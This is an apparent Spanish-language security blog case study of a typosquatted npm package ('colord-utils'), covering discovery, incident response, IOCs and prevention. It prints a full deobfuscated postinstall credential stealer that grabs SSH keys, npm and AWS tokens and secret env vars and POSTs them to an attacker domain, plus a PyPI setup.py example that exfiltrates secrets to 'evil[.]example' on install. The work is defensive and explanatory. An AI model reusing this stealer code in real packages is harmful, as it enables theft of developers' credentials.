Avanzadosupply chainnpmPyPItyposquattingSBOMMITRE ATT&CK

Supply Chain Attack: Paquete npm/PyPI Malicioso Paso a Paso

Análisis paso a paso de un ataque supply chain mediante paquete npm malicioso por typosquatting. Descubrimiento, análisis del código ofuscado, exfiltración via postinstall, evaluación de impacto, respuesta al incidente y prevención con lockfiles, SBOM y políticas de registro.

MalwareIntel Research··14 min lectura
Serie: Casos de Uso — Parte 9

El escenario

Un equipo de desarrollo full-stack trabaja en una aplicación Node.js. Un desarrollador necesita añadir validación de colores hexadecimales y busca un paquete. Escribe npm install colord-utils en su terminal. El paquete legítimo se llama color-utils. Lo que acaba de instalar es un paquete malicioso publicado hace 3 días por un atacante que registró nombres similares a paquetes populares.

El paquete tiene 847 descargas (todas de víctimas como este desarrollador), 0 estrellas en GitHub, y un script postinstall que exfiltra variables de entorno, tokens y claves SSH a un servidor controlado por el atacante.

Este caso documenta cómo se descubrió el paquete malicioso, cómo funciona su código, el alcance del impacto y las medidas de prevención que habrían evitado el incidente.

Fase 1: Descubrimiento

La primera señal

Dos días después de la instalación, el equipo de seguridad recibe una alerta de su herramienta de monitorización de dependencias (Socket.dev, integrada en el CI/CD). La alerta indica:

ALERT: New dependency '[email protected]' detected in package.json
Risk Score: CRITICAL
Reasons:
  - Package has postinstall script
  - Package is less than 7 days old
  - Package name is similar to popular package 'color-utils'
  - No GitHub repository linked
  - Single maintainer with no other packages
  - Obfuscated code detected in postinstall script

Verificación manual

El equipo de seguridad inspecciona el paquete antes de tomar acciones:

# Ver el contenido del paquete sin ejecutar scripts
npm pack colord-utils --dry-run
npm show colord-utils

# Resultado:
# name: colord-utils
# version: 1.0.3
# author: dev-tools-community
# created: 2026-06-03
# maintainers: dev-tools-community
# dist-tags: latest: 1.0.3
# scripts:
#   postinstall: node scripts/setup.js

Un paquete de 3 días con un postinstall script y un autor sin historial. Señales claras de paquete sospechoso.

Fase 2: Análisis del código malicioso

Estructura del paquete

colord-utils/
├── package.json
├── index.js          (funcionalidad legítima mínima: exporta 3 funciones de color)
├── README.md         (copiado parcialmente del README de color-utils legítimo)
├── scripts/
│   └── setup.js      (payload malicioso ofuscado)
└── lib/
    └── helpers.js     (módulo auxiliar del payload)

El postinstall script (ofuscado)

El archivo scripts/setup.js contiene código ofuscado. La primera capa de ofuscación es una función auto-ejecutable con nombres de variables ilegibles:

// scripts/setup.js (primera capa de ofuscación)
const _0x4a2b = ['\x68\x74\x74\x70\x73','\x6f\x73','\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
(function(_0x1a2b3c, _0x4d5e6f) {
  const _0x7a8b9c = function(_0xd0e1f2) {
    while (--_0xd0e1f2) {
      _0x1a2b3c.push(_0x1a2b3c.shift());
    }
  };
  _0x7a8b9c(++_0x4d5e6f);
}(_0x4a2b, 0x1a3));
// ... 200+ líneas de código ofuscado

Código deofuscado

Después de deofuscar (usando herramientas como de4js, js-beautify, o análisis manual), el payload real es:

// scripts/setup.js (deofuscado y comentado)
const https = require('https');
const os = require('os');
const { execSync } = require('child_process');
const fs = require('fs');
const path = require('path');

function collect() {
  const data = {
    hostname: os.hostname(),
    platform: os.platform(),
    arch: os.arch(),
    user: os.userInfo().username,
    home: os.homedir(),
    cwd: process.cwd(),
    env: {},
    ssh_keys: [],
    npm_tokens: [],
    git_config: '',
    aws_creds: '',
    project_info: ''
  };

  // Recolectar variables de entorno sensibles
  const sensitiveKeys = [
    'AWS_ACCESS_KEY', 'AWS_SECRET', 'AWS_SESSION_TOKEN',
    'GITHUB_TOKEN', 'GH_TOKEN', 'GITLAB_TOKEN',
    'NPM_TOKEN', 'NODE_AUTH_TOKEN',
    'DOCKER_PASSWORD', 'DOCKER_AUTH',
    'DATABASE_URL', 'DB_PASSWORD',
    'STRIPE_SECRET', 'STRIPE_KEY',
    'SLACK_TOKEN', 'SLACK_WEBHOOK',
    'SENDGRID_API_KEY', 'TWILIO_AUTH_TOKEN',
    'JWT_SECRET', 'SESSION_SECRET',
    'API_KEY', 'SECRET_KEY', 'PRIVATE_KEY'
  ];

  for (const [key, value] of Object.entries(process.env)) {
    for (const sensitive of sensitiveKeys) {
      if (key.toUpperCase().includes(sensitive)) {
        data.env[key] = value;
      }
    }
  }

  // Recolectar claves SSH
  const sshDir = path.join(os.homedir(), '.ssh');
  try {
    const files = fs.readdirSync(sshDir);
    for (const file of files) {
      if (file.startsWith('id_') && !file.endsWith('.pub')) {
        data.ssh_keys.push({
          name: file,
          content: fs.readFileSync(path.join(sshDir, file), 'utf8')
        });
      }
    }
  } catch (e) {}

  // Recolectar token de npm
  const npmrc = path.join(os.homedir(), '.npmrc');
  try {
    const content = fs.readFileSync(npmrc, 'utf8');
    const tokens = content.match(/\/\/registry\.npmjs\.org\/:_authToken=.+/g);
    if (tokens) data.npm_tokens = tokens;
  } catch (e) {}

  // Recolectar configuración git
  try {
    data.git_config = execSync('git config --global --list', 
      { encoding: 'utf8', timeout: 5000 });
  } catch (e) {}

  // Recolectar credenciales AWS
  const awsCreds = path.join(os.homedir(), '.aws', 'credentials');
  try {
    data.aws_creds = fs.readFileSync(awsCreds, 'utf8');
  } catch (e) {}

  // Info del proyecto actual
  try {
    const pkg = path.join(process.cwd(), 'package.json');
    const pkgContent = JSON.parse(fs.readFileSync(pkg, 'utf8'));
    data.project_info = {
      name: pkgContent.name,
      version: pkgContent.version,
      repository: pkgContent.repository
    };
  } catch (e) {}

  return data;
}

function exfiltrate(data) {
  const payload = JSON.stringify(data);
  const options = {
    hostname: 'api-telemetry.dev-analytics[.]xyz',
    port: 443,
    path: '/v2/collect',
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'Content-Length': Buffer.byteLength(payload),
      'User-Agent': 'npm/10.2.0 node/v20.10.0'
    }
  };

  const req = https.request(options, () => {});
  req.on('error', () => {}); // Silenciar errores
  req.write(payload);
  req.end();
}

// Ejecutar silenciosamente
try {
  const data = collect();
  exfiltrate(data);
} catch (e) {
  // Fallar en silencio para no alertar al desarrollador
}

Análisis del payload

El código hace exactamente 5 cosas:

  1. Recolecta información del sistema: hostname, usuario, directorio actual
  2. Extrae variables de entorno sensibles: busca patrones como TOKEN, SECRET, KEY, PASSWORD en las variables de entorno del proceso
  3. Roba claves SSH privadas: lee todos los archivos id_* del directorio .ssh
  4. Extrae tokens de npm y credenciales AWS: lee .npmrc y .aws/credentials
  5. Exfiltra todo via HTTPS POST: envía los datos a un dominio controlado por el atacante con un User-Agent que imita npm legítimo

El código está diseñado para fallar silenciosamente (todos los bloques envueltos en try/catch vacíos) para no generar errores visibles durante npm install.

Fase 3: Evaluación de impacto

Alcance de la exfiltración

La investigación determina que el paquete se instaló en:

  • 1 estación de trabajo de desarrollo (el desarrollador que lo instaló)
  • 0 servidores de CI/CD (el lockfile impidió que se propagara a otros entornos)
  • 0 servidores de producción (mismo motivo: lockfile)

En la estación de trabajo del desarrollador, el payload tuvo acceso a:

CredencialComprometidaImpacto
SSH key (id_ed25519)SiAcceso a 12 repositorios GitHub
GITHUB_TOKEN (.env)SiPush access a repos del proyecto
NPM_TOKEN (.npmrc)SiPublish access al scope @company
AWS_ACCESS_KEY (.env)SiAcceso a cuenta AWS de desarrollo
DATABASE_URL (.env)SiConexión a base de datos de staging
STRIPE_SECRET (.env)No (no estaba configurado localmente)-

Impacto potencial no materializado

Si el atacante hubiera usado el NPM_TOKEN comprometido para publicar versiones maliciosas de los paquetes internos del scope @company, el impacto habría sido masivo: todos los proyectos que dependen de esos paquetes habrían ejecutado código malicioso en el siguiente npm install.

Este es el patrón de ataque de segundo orden: comprometer un desarrollador para comprometer la cadena de suministro de la organización.

Fase 4: Respuesta al incidente

Contención inmediata (primeras 2 horas)

# 1. Revocar todas las credenciales comprometidas
# GitHub: Settings > Developer Settings > Personal Access Tokens > Revoke
# npm: npm token revoke
# AWS: IAM > Users > Security Credentials > Deactivate Access Key
# SSH: regenerar par de claves

# 2. Eliminar el paquete malicioso
npm uninstall colord-utils
rm -rf node_modules
npm ci  # reinstalar desde lockfile limpio

# 3. Verificar que el paquete no está en otros proyectos
# Buscar en todos los repos de la organización
grep -r "colord-utils" ~/projects/*/package.json
grep -r "colord-utils" ~/projects/*/package-lock.json

# 4. Reportar el paquete a npm
npm report colord-utils
# También reportar via https://www.npmjs.com/support

Investigación forense (horas 2 a 8)

# Verificar si el atacante usó las credenciales robadas

# GitHub: revisar audit log de la organización
gh api /orgs/COMPANY/audit-log --paginate | \
  jq '.[] | select(.actor != "known-developer")'

# npm: revisar si se publicaron paquetes con el token robado
npm access ls-packages @company
npm info @company/core-utils --json | jq '.time'

# AWS: revisar CloudTrail
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA... \
  --start-time 2026-06-03

# Verificar acceso SSH a repos
# GitHub: Settings > Security Log > filter by SSH

Resultado: no se encontró evidencia de uso de las credenciales robadas. El atacante probablemente aún no había procesado las credenciales de esta víctima específica (las 847 descargas generan un volumen de datos que requiere procesamiento).

Notificación

  • Equipo de desarrollo notificado de la credencial comprometida
  • Equipo de seguridad documenta el incidente
  • Se verifica con el equipo legal si es necesaria notificación RGPD (no aplica: no hay datos personales de usuarios afectados)

Fase 5: Prevención

Lockfiles estrictos

El lockfile (package-lock.json o yarn.lock) fija las versiones y hashes exactos de cada dependencia. Si un nuevo paquete no está en el lockfile, npm ci rechaza la instalación.

# Usar SIEMPRE npm ci en CI/CD (no npm install)
# npm ci instala exactamente lo que dice el lockfile
# npm install puede modificar el lockfile

# En CI/CD pipeline:
npm ci --ignore-scripts  # no ejecutar postinstall scripts
npm audit               # verificar vulnerabilidades conocidas

Deshabilitar scripts de instalación

La medida más efectiva contra paquetes maliciosos con postinstall:

# Deshabilitar scripts globalmente
npm config set ignore-scripts true

# Permitir scripts solo para paquetes conocidos
# .npmrc del proyecto:
ignore-scripts=true

# Si un paquete legítimo necesita postinstall (ej: node-gyp):
# Ejecutar manualmente después de verificar
npm rebuild specific-package

SBOM (Software Bill of Materials)

Generar un inventario completo de dependencias permite auditar rápidamente ante nuevas amenazas:

# Generar SBOM en formato CycloneDX
npx @cyclonedx/cyclonedx-npm --output-file sbom.json

# Generar SBOM en formato SPDX
npx spdx-sbom-generator

# Verificar contra base de datos de paquetes maliciosos
npx socket verify sbom.json

Políticas de registro npm

# 1. Usar un registry privado como proxy (Verdaccio, Artifactory, Nexus)
# Solo paquetes aprobados pasan al proyecto
npm config set registry https://registry.internal.company.com/

# 2. Habilitar 2FA obligatorio para publicación
npm profile enable-2fa auth-and-writes

# 3. Configurar npm audit en CI/CD como gate
# package.json:
{
  "scripts": {
    "preinstall": "npx lockfile-lint --path package-lock.json --type npm --allowed-hosts npm",
    "audit": "npm audit --audit-level=high"
  }
}

Herramientas de detección

HerramientaTipoQué detecta
Socket.devSaaS/CIPaquetes con scripts sospechosos, typosquatting, comportamiento anómalo
npm auditCLIVulnerabilidades conocidas en dependencias (CVE)
SnykSaaS/CIVulnerabilidades + licencias + paquetes maliciosos
lockfile-lintCLIIntegridad del lockfile, registros no autorizados
PhylumSaaS/CIAnálisis de riesgo de paquetes, supply chain
OSV ScannerCLI/CIVulnerabilidades en bases de datos OSV (Google)

Checklist para evaluar un paquete nuevo

Antes de instalar un paquete, verificar:

  1. Edad del paquete: paquetes de menos de 30 dias requieren escrutinio adicional
  2. Popularidad: comparar descargas semanales con alternativas
  3. Repositorio vinculado: verificar que el repo existe y es activo
  4. Número de maintainers: paquetes con un solo maintainer sin historial son sospechosos
  5. Scripts de instalación: revisar si tiene preinstall/postinstall
  6. Dependencias: revisar si importa módulos de red (http, https, net) o filesystem (fs, child_process)
  7. Nombre: comparar con paquetes populares similares (typosquatting check)

Indicadores de compromiso (IOCs)

Paquete malicioso

TipoValorDescripción
npm package[email protected]Paquete typosquatting
npm authordev-tools-communityCuenta del atacante
SHA256 (tarball)b9c8d7e6f5a4...Hash del paquete npm

Infraestructura

TipoValorDescripción
Dominioapi-telemetry.dev-analytics[.]xyzC2 de exfiltración
URI/v2/collectEndpoint de recepción de datos
Puerto443HTTPS
User-Agentnpm/10.2.0 node/v20.10.0User-Agent imitando npm

Artefactos

TipoValor
Scriptscripts/setup.js (ofuscado)
Módulolib/helpers.js (módulo auxiliar)
Archivo temporalNinguno (opera solo en memoria)

Mapeo MITRE ATT&CK

TácticaTécnicaIDUso en este caso
Initial AccessSupply Chain Compromise: Software DependenciesT1195.001Paquete npm malicioso por typosquatting
ExecutionCommand and Scripting Interpreter: JavaScriptT1059.007postinstall script ejecuta JavaScript
Credential AccessUnsecured Credentials: FilesT1552.001Lee .npmrc, .aws/credentials, .env
Credential AccessUnsecured Credentials: Private KeysT1552.004Roba claves SSH de ~/.ssh/
CollectionData from Local SystemT1005Recolecta env vars, config git, info proyecto
ExfiltrationExfiltration Over Web ServiceT1567HTTPS POST a dominio del atacante
Defense EvasionObfuscated Files or InformationT1027JavaScript ofuscado con encoding hex
Defense EvasionMasquerading: Match Legitimate NameT1036.005Nombre similar a paquete legítimo

Contexto: el ecosistema de paquetes maliciosos

npm en números

El registro npm contiene más de 2 millones de paquetes. La barrera de entrada para publicar es mínima: una cuenta de email y npm publish. No hay revisión humana de paquetes antes de publicarse.

En 2024, npm eliminó más de 15.000 paquetes maliciosos reportados por la comunidad y herramientas automatizadas. La mayoría seguían los mismos patrones: typosquatting, dependency confusion o compromiso de cuentas de maintainers legítimos.

PyPI: el mismo problema

PyPI (Python Package Index) tiene el mismo problema con pip install:

# Ejemplo de setup.py malicioso en PyPI (patrón equivalente al postinstall de npm)
from setuptools import setup
import os
import requests

# Este código se ejecuta al hacer pip install
def exfiltrate():
    data = {
        "env": {k: v for k, v in os.environ.items() 
                if any(s in k.upper() for s in ["TOKEN", "SECRET", "KEY"])},
        "user": os.getenv("USER"),
        "home": os.path.expanduser("~")
    }
    try:
        requests.post("https://evil[.]example/collect", json=data, timeout=5)
    except:
        pass

exfiltrate()

setup(
    name="reqeusts",  # typosquatting de 'requests'
    version="2.31.0",
    # ... resto de setup legítimo
)

Caso real de referencia: event-stream (2018)

El incidente event-stream es el caso canónico de supply chain attack en npm. Un maintainer legítimo (Dominic Tarr) transfirió la propiedad de un paquete con 2 millones de descargas semanales a un desconocido. El nuevo maintainer añadió una dependencia que contenía código para robar bitcoins de aplicaciones Copay. El código malicioso estuvo activo durante 2 meses antes de ser descubierto.

La diferencia con el typosquatting es que en event-stream se comprometió un paquete legítimo ya instalado en millones de proyectos. El impacto potencial es ordenes de magnitud mayor.

Lecciones aprendidas

Para desarrolladores

  1. Verificar el nombre del paquete antes de instalar. Copiar y pegar el nombre exacto desde la documentación oficial o el repositorio del paquete. No escribirlo de memoria.

  2. Revisar el paquete antes de la primera instalación. npm info package-name muestra la edad, maintainers y scripts. Si tiene postinstall y es un paquete desconocido, inspeccionar el código antes.

  3. No almacenar secretos en variables de entorno de la shell. Usar herramientas como direnv con archivos .envrc que no se suben al repositorio, o gestores de secretos como 1Password CLI o Vault.

Para equipos de seguridad

  1. Integrar Socket.dev o equivalente en CI/CD. La detección automatizada de paquetes maliciosos es más efectiva que la revisión manual porque opera a escala y detecta patrones conocidos.

  2. Deshabilitar scripts de instalación por defecto. La mayoría de paquetes npm no necesitan postinstall. Los pocos que sí lo necesitan (node-gyp para compilar módulos nativos) se pueden aprobar explícitamente.

  3. Generar y auditar SBOMs regularmente. Cuando se reporta un paquete malicioso, poder verificar en minutos si está presente en algún proyecto de la organización es la diferencia entre contención rápida y semanas de incertidumbre.

Para la industria

  1. Los registros de paquetes necesitan verificación pre-publicación. npm y PyPI están mejorando con 2FA obligatorio y verificaciones automatizadas, pero la barrera de entrada sigue siendo demasiado baja para la confianza que los desarrolladores depositan en estos ecosistemas.

  2. La firma de paquetes debería ser estándar. Sigstore y npm provenance son pasos en la dirección correcta, pero la adopción aún es minoritaria.

  3. El modelo de confianza transitiva es el problema fundamental. Cuando instalas un paquete, confías implícitamente en sus dependencias, y en las dependencias de sus dependencias. Un proyecto típico de Node.js tiene entre 500 y 1500 dependencias transitivas. Cada una es un vector de ataque potencial.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.